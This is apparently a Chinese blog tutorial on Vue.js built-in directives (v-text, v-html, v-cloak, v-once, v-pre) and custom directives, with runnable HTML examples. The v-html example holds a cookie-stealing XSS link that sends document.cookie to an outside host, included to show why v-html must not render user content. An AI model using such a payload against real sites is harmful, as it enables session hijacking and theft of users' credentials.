Vue核心 内置指令 自定义指令

于 2023-05-07 22:26:36 发布
阅读量460 收藏
点赞数
分类专栏： vue 文章标签： vue.js 前端
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_44230693/article/details/130549210
版权
本文详细介绍了Vue.js中的几个重要指令：v-text用于渲染文本内容，区别于插值语法；v-html用于插入HTML结构，但需要注意安全性问题；v-cloak用于解决页面加载时的未编译模板显示问题；v-once只渲染元素和组件一次，用于性能优化；v-pre跳过编译过程以提高效率。此外，还探讨了自定义指令的定义和使用，包括bind、inserted和update等生命周期钩子。
摘要由CSDN通过智能技术生成

1.16. 内置指令

之前学过的指令：

  • v-bind: 单向绑定解析表达式，可简写为 :xxx
  • v-model: 双向数据绑定
  • v-for: 遍历数组/对象/字符串
  • v-on: 绑定事件监听, 可简写为@
  • v-if: 条件渲染(动态控制节点是否存存在)
  • v-else: 条件渲染(动态控制节点是否存存在)
  • V-show: 条件渲染(动态控制节点是否展示)

1.16.1. v-text 指令

v-text指令:

  1. 作用:向其所在的节点中渲染文本内容
  2. 与插值语法的区别: v-text会替换掉节点中的内容，**{{xxx}}**则不会
<!DOCTYPE html>
<head>
    <meta charset="UTF-8">
    <title>v-text</title>
    <!-- 引入Vue -->
    <script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
    <!--
        学过的指令:
            v-bind: 单向绑定解析表达式，可简写为 :xxx
            v-model: 双向数据绑定
            v-for: 遍历数组/对象/字符串
            v-on: 绑定事件监听, 可简写为@
            v-if: 条件渲染(动态控制节点是否存存在)
            v-else: 条件渲染(动态控制节点是否存存在)
            V-show: 条件渲染(动态控制节点是否展示)
      
      v-text指令:       
            1.作用:向其所在的节点中渲染文本内容
            2.与插值语法的区别: v-text会替换掉节点中的内容，{{xx}}则不会
    -->    

    <!-- 准备好一个容器 -->
    <div id="root">
        <div>你好，{{name}}</div>
        <div v-text="name"></div>
        <div v-text="str"></div>
    </div>

    <script type="text/javascript">
        // 阻止vue在启动时生成生产提示
        Vue.config.productionTip = false
		
		new Vue({ 
			el: '#root',  	  
			data:{
                name:'liqb',
                str:'<h3>你好啊！</h3>'
			},
		});
    </script>
</body>
</html>

1.16.2. v-html 指令

v-html指令

  • 作用：向指定节点中渲染包含html结构的内容

  • 与插值语法的区别：

    • v-html会替换掉节点中所有的内容，**{{xxx}}**则不会
    • v-html可以识别html结构

  • 严重注意v-html有安全性问题！！！

    • 在网站上动态渲染任意html是非常危险的，容易导致 XSS 攻击
    • 一定要在可信的内容上使用v-html，永远不要用在用户提交的内容上！！！
<!DOCTYPE html>
<head>
    <meta charset="UTF-8">
    <title>v-html</title>
    <!-- 引入Vue -->
    <script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
    <!--
        v-html指令:
            1.作用: 向指定节点中渲染包含html结构的内容
            2.与插值语法的区别:
                (1).v-html会替换掉节点中所有的内容，{{xx}}则不会
                (2).v-html可以识别html结构
            3.严重注意: v-html有安全性问题!!!!
                (1).在网站上动态渲染任意HTML是非常危险的，容易导致XSS攻击
                (2).一定要在可信的内容上使用v-html，永不要用在用户提交的内容上!
    -->

    <!-- 准备好一个容器 -->
    <div id="root">
        <div>你好，{{name}}</div>
        <div v-html="str"></div>
        <div v-html="str2"></div>
    </div>

    <script type="text/javascript">
        // 阻止vue在启动时生成生产提示
        Vue.config.productionTip = false
		
		new Vue({ 
			el: '#root',  	  
			data:{
                name:'liqb',
                str:'<h3>你好啊！</h3>',
                str2:'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>兄弟我找到你想要的资源了，快来！</a>'
			},
		});
    </script>
</body>
</html>

1.16.3. v-cloak 指令

v-cloak指令（没有值）

  • 本质是一个特殊属性，Vue实例创建完毕并接管容器后，会删掉v-cloak属性
  • 使用css配合v-cloak可以解决网速慢时页面展示出**{{xxx}}**的问题
<!DOCTYPE html>
<head>
    <meta charset="UTF-8">
    <title>v-cloak</title>
    <style>
        [v-cloak] {
            display:none;
        }
    </style>
    
    <!-- 够延迟5秒收到vue.js -->
    <script type="text/javascript" src="http://localhost:8080/resource/5s/vue.js"></script>
</head>
<body>
    <!--
        v-cloak指令(没有值):
            1.本质是工个特殊属性, Vue实例创建完毕并接管容器后, 会删掉v-cloak属性
            2.使用css配合v-cloak可以解决网速慢时页面展示出[{xxx}}的问题
    -->
    
    <!-- 准备好一个容器 -->
    <div id="root">
        <h2 v-cloak>{{ name }}</h2>
    </div>
    
    <script type="text/javascript">
        console.log(1);
        // 阻止vue在启动时生成生产提示
        Vue.config.productionTip = false;
		
		new Vue({ 
			el: '#root',  	  
			data:{
                name:'liqb'
			}
		});
    </script>
</body>
</html>

1.16.4. v-once 指令

  • v-once所在节点在初次动态渲染后，就视为静态内容了
  • 以后数据的改变不会引起v-once所在结构的更新，可以用于优化性能
<!DOCTYPE html>
<head>
    <meta charset="UTF-8">
    <title>v-once指令</title>
    <!-- 引入Vue -->
    <script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
    <!--
        v-once指令:
            1.v-once所在节点在初次动态渲染后，就视为静态内容了
            2.以后数据的改变不会引起v-once所在结构的更新，可以用于优化性能
    -->
    <!-- 准备好一个容器 -->
    <div id="root">
        <h2 v-once>初始化的n值是: {{n}}</h2>
        <h2>当前的n值是: {{n}}</h2>
        <button @click="n++">点我n+1</button>
    </div>

    <script type="text/javascript">
        // 阻止vue在启动时生成生产提示
        Vue.config.productionTip = false;
		
		new Vue({ 
			el: '#root',  	  
			data:{
                n:1
			}
		});
    </script>
</body>
</html>

1.16.5. v-pre 指令

  • 跳过v-pre所在节点的编译过程
  • 可利用它跳过：没有使用指令语法、没有使用插值语法的节点，会加快编译
<!DOCTYPE html>
<head>
    <meta charset="UTF-8">
    <title>v-pre指令</title>
    <!-- 引入Vue -->
    <script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
    <!--
        v-pre指令:
            1.跳过其所在节点的编译过程
            2.可利用它跳过:没有使用指令语法、没有使用插值语法的节点，会加快编译
    -->
    <!-- 准备好一个容器 -->
    <div id="root">
        <h2 v-pre>Vue其实很简单</h2>
        <h2 >当前的n值是:{{n}}</h2>
        <button @click="n++">点我n+1</button>
    </div>

    <script type="text/javascript">
        // 阻止vue在启动时生成生产提示
        Vue.config.productionTip = false;
		
		new Vue({ 
			el: '#root',  	  
			data:{
                n:1
			}
		});
    </script>
</body>
</html>

1.17. 自定义指令

directives

定义语法

  1. 局部指令
    new Vue({ 
    directives:{ 
        指令名:配置对象 
    }
})

new Vue({ 
    directives:{ 
        指令名:回调函数 
    }
})
  2. 全局指令
    Vue.directive(指令名, 配置对象)
或
Vue.directive(指令名, 回调函数)
  3. 配置对象中常用的3个回调函数
    1. **bind(element, binding) ** 指令与元素成功绑定时调用
    2. inserted(element, binding) 指令所在元素被插入页面时调用
    3. update(element, binding) 指令所在模板结构被重新解析时调用
    4. element就是DOM元素，binding就是要绑定的对象，它包含以下属性：name value oldValue expression arg modifiers
  4. 备注
    1. 指令定义时不加v-，但使用时要加v-
    2. 指令名如果是多个单词，要使用kebab-case命名方式，不要用camelCase命名
<!DOCTYPE html>
<head>
    <meta charset="UTF-8">
    <title>自定义指令</title>
    <!-- 引入Vue -->
    <script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
    <!--
        需求1: 定义v-big指令和v-text功能类似但会把绑定的数值放大10倍
        需求2: 定义个v-fbind指令，和v-bind功能类似，但可以让其所绑定的input元素默认获取焦点。
        
        自定义指令总结:
            一、定义语法:
                (1).局部指令:
                    new Vue({ 
                        directives:{ 
                            指令名:配置对象 
                        }
                    })
                    
                    new Vue({ 
                        directives:{ 
                            指令名:回调函数 
                        }
                    })
                (2).全局指令:
                    Vue.directive(指令名, 配置对象)
                    或
                    Vue.directive(指令名, 回调函数)
           二、配置对象中常用的3个回调:         
                (1).bind:指令与元素成功绑定时调用
                (2).inserted: 指令所在元素被插入页面时调用
                (3).update:指令所在模板结构被重新解析时调用
           三、备注:
                1.指令定义时不加v-，但使用时要加v-;
                2.指令名如果是多个单词，要使用kebab-case命名方式，不要用camelCase命名
    -->
    <!-- 准备好一个容器 -->
    <div id="root">
        <h2>当前的n值是: <span v-text="n"></span></h2>
        <h2>放大10倍后的n值是:<span v-big="n"></span></h2>
        <h2>放大10倍后的n值是:<span v-big-number="n"></span></h2>
        <button @click="n++">点我n+1</button>
        <hr />
        <input type="text" v-fbind:value="n">
    </div>

    <script type="text/javascript">
        // 阻止vue在启动时生成生产提示
        Vue.config.productionTip = false;

        // 定义全局指令
        // Vue.directive('big', function(element, binding) {
        //     // 🔴注意此处的 this 是 window
        //     console.log('big', this);
        //     element.innerText = binding.value * 10;
        // })
        
        // Vue.directive('fbind',{
        //     // 指令与元素成功绑定时（一上来） 
        //     bind(element, binding) {
        //         element.value = binding.value
        //     },
        //     // 指令所在元素被插入页面时 
        //     inserted(element, binding) {
        //         element.focus()
        //     },
        //     // 指令所在的模板被重新解析时
        //     update(element, binding) {
        //         element.value = binding.value
        //     }
        // })
		
		new Vue({ 
			el: '#root',  	  
			data:{
                n:1
			},
            // 定义局部过滤器
            directives: {
                // big函数何时会被调用？
                // 1.指令与元素成功绑定时（一上来） 
                // 2.指令所在的模板被重新解析时
                big(element, binding) {
                    // 🔴注意此处的 this 是 window
                    console.log('big', this);
                    element.innerText = binding.value * 10;
                },
                'big-number'(element, binding) {
                    // 🔴注意此处的 this 是 window
                    console.log('big', this);
                    element.innerText = binding.value * 10;
                },
                fbind: {
                    // 指令与元素成功绑定时（一上来） 
                    bind(element, binding) { 
                        element.value = binding.value 
                    },
                    // 指令所在元素被插入页面时 
                    inserted(element, binding) { 
                        element.focus() 
                    },
                    // 指令所在的模板被重新解析时
                    update(element, binding) { 
                        element.value = binding.value 
                    }
                }
            }
		});
    </script>
</body>
</html>
怀梦
关注
专栏目录
vue2中的自定义指令的基本语法、常见参数与使用场景，超详细教程！
共同学习，共同成长
05-18 2922
今日给大家讲解vue2中的自定义指令的基本语法、指令的常见参数与常见使用场景，并结合具体案例来让小伙伴们深入理解，彻底掌握！快来看看吧~
vue 新学习 07 vue指令，自定义指令
最新发布
qq_38757863的博客
08-03 172
作用是定义它的元素或组件只会渲染一次，包括元素或者组件的所有字节点。需求2：定义一个v-fbind指令，和v-bind功能类似，但可以让其所绑定的input元素默认获取焦点。需求1：定义一个v-big指令，和v-text功能类似，但会把绑定的数值放大10倍。但是，不建议使用v-html指令，因为它会导致被恶意者进行XSS攻击的潜在风险。v-html 指令，会用一个HTML标签字符串，替换该元素下面的所有内容。v-pre 指令，跳过这个元素和它的子元素的编译过程。指令定义时不加v-，但使用时要加v-；
Vue核心⑪(内置指令)
十八岁讨厌编程的博客
06-13 550
作用：向其所在的节点中渲染文本内容。 与插值语法的区别：v-text会替换掉节点中的内容，{{xx}}则不会。(所以说插值语法更加的灵活)例如： 效果： v-html指令： 1.作用：向指定节点中渲染包含html结构的内容。 2.与插值语法的区别： (1).v-html会替换掉节点中所有的内容，{{xx}}则不会。 (2).v-html可以识别html结构。 3.严重注意：v-html有安全性问题！！！！ (1).在网站上动态渲染任意HTML是非常危险的，容易导致XSS攻击。 (2).一定要在可信的内容上使
vue中如何自定义指令directive
田兴的博客
12-18 8272
vue除了内置指令（v-model,v-for,v-bind…）,vue 也允许注册自定义指令. 注册自定义指令分为全局注册与局部注册两种： 注册 注册一个使元素自动获取焦点的指令 全局注册 使用Vue.diretive()来全局注册指令。 // 注册一个全局自定义指令 v-focus Vue.directive('focus', { // 当绑定元素插入到 DOM 中。 inserted...
vue自定义指令--directive
hfhan的博客
04-04 5843
Vue中内置了很多的指令，如v-model、v-show、v-html等，但是有时候这些指令并不能满足我们，或者说我们想为元素附加一些特别的功能，这时候，我们就需要用到vue中一个很强大的功能了—自定义指令。 在开始之前，我们需要明确一点，自定义指令解决的问题或者说使用场景是对普通 DOM 元素进行底层操作，所以我们不能盲目的胡乱的使用自定义指令。 如何声明自定义指令？ 就像vue中有全局组件和局...
Vue核心知识-Vue的原生指令
weixin_34224941的博客
09-07 154
v-text 标签中显示的内容。 与双大括号写法类似，区别是没有双大括号灵活，如<div v-text="'Text:' + text"></div>，双大括号<div>Text: {{text}}</div> import Vue from 'vue' new Vue({ el: '#root', template: ` <...
Vue内置指令和自定义指令
qq_45329601的博客
04-24 1766
Vue内置指令和自定义指令
vue自定义指令实现方法详解
10-17
自定义指令的使用方式与Vue内置指令类似，将指令ID放在`v-`前缀后面，接着是表达式或动态绑定。例如： ```html 我是自定义指令 ``` 在上面的例子中，`v-color`是一个自定义指令，`red`是绑定的值，可以通过Vue实例...
简单介绍 Vue 核心最基本的功能
仅做个人笔记
04-14 1148
指令 你看到的v-bind特性被称为指令。指令带有前缀v-，以表示它们是 Vue 提供的特殊特性。可能你已经猜到了，它们会在渲染的 DOM 上应用特殊的响应式行为。在这里，该指令的意思是：“将这个元素节点的title特性和 Vue 实例的message属性保持一致”。 HTML: <div id="app-2"> <span v-bind:title="m...
vue的指令
weixin_30377461的博客
06-29 753
我之前学了学angular 发现angular和vue的指令有点类似 先说一下 new Vue({ el: "#box", // element（元素） 当前作用域 data(){ return { //用return返回对象 msg: "122" ...
vue核心基本的使用——vue指令
weixin_57037336的博客
05-09 506
vue的基本使用——vue指令理解vue学习vue的条件vue指令声明式渲染——v-bind条件——v-if列表循环——v-for处理用户动作（事件监听）——v-on事件双向绑定——v-model插入链接与图片如何插入一段漂亮的代码片生成一个适合你的列表创建一个表格设定内容居中、居左、居右SmartyPants创建一个自定义列表如何创建一个注脚注释也是必不可少的KaTeX数学公式新的甘特图功能，丰富你的文章UML 图表FLowchart流程图导出与导入导出导入 理解vue vue是一种用于构建用户界面的渐进
Vue核心技术-31,自定义指令
BraveWangDev
08-22 430
一,前言 前边介绍了Vue内置的各种指令,如:v-if,v-show,v-for等 大多数情况下Vue提供的指令是可以满足日常开发需要的 但是有些时候我们需要针对特殊功能进行自定义指令,在内部进行DOM操作 二,自定义指令的注册 自定义指令的注册方式和组件相似,Vue提供了两种注册指令的方法: 1,全局注册 Vue.directive('指令名', { // 指...
Vue入门之核心指令（v-model，v-on）
qq_47906421的博客
08-14 478
Vue入门一. Vue.js是什么？二. 库和框架的区别2.1 库(Library)2.2 框架(Framework)三. MVVM的介绍双向绑定实例：四. 双向数据绑定(Vue two way data binding)五. 安装Vue六. 实例生命周期钩子(了解即可) 一. Vue.js是什么？ Vue是一个构建用户界面(UI)的[渐进式]JavaScript框架 官网：https://cn.vuejs.org/ Vue作者：尤雨溪/中国无锡 二. 库和框架的区别 2.1 库(Library) 本质上是
v-html指令
qq_46582421的博客
11-17 1071
1.作用:向指定奶点中渲染包含htm1结构的内容。 2.与插值语法的区别; (1).v-html会替换掉节点中所有的内容，{{xx}}则不会。 (2).v-html可以识别html结构。 3.严重注意: v-html有安全性问题! ! ! ! (1).在网站上动态渲染任意HTML是非常危险的，容易导致XSS攻击。 (2).定要在可信的内容上使用v-html,永不要用在用户提交的内容 上! <!DOCTYPE html> <html lang="en"> <head>
网络安全
zjx_key的博客
04-27 399
网络安全 重要性 随着互联网的发达，各种WEB应用也变得越来越复杂，满足了用户的各种需求，但是随之而来的就是各种网络安全的问题。了解常见的前端攻击形式和保护我们的网站不受攻击。 分类 XSS攻击 CSRF攻击 网络劫持攻击（运营商劫持） 控制台注入代码 虚假网站钓鱼 XSS攻击 XSS是一种经常出现在web应用中的计算机安全漏洞，为了和CSS区分，这里把攻击的第一个字母改成了X，于是叫做XSS...
用vue开发前端遇到的知识点（不定期更新）
yanya97的博客
04-26 183
1、mounted 不会承诺所有的子组件也都一起被挂载。如果你希望等到整个视图都渲染完毕，可以用 .$nextTick mounted: function () { this.$nextTick(function () { }) }, 2、在网站上动态渲染任意 HTML 是非常危险的，因为容易导致 XSS 攻击。只在可信内容上使用 v-html，永不用在...
[vue] 常见用法之 v-html、v-text、v-model区别
我是z先生
05-13 6352
v-model： 指令常用于表单 < input >、< textarea > 及 < select > 元素上，创建双向数据绑定。它会根据控件类型自动选取正确的方法来更新元素，负责监听用户的输入事件更新数据。 v-model 会忽略所有表单元素的 value、checked、selected 特性的初始值，而总是在组件的 data 选项中声明初始值。 &l...
Vue.js内置与自定义指令深度解析
以下是对Vue内置指令的详细说明： 1. **v-model** - 用于双向数据绑定，常用于表单元素，如输入框`<input>`，它会同步元素的值与Vue实例的数据。 2. **v-text** - 单向数据绑定，将数据绑定到元素的innerText，...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值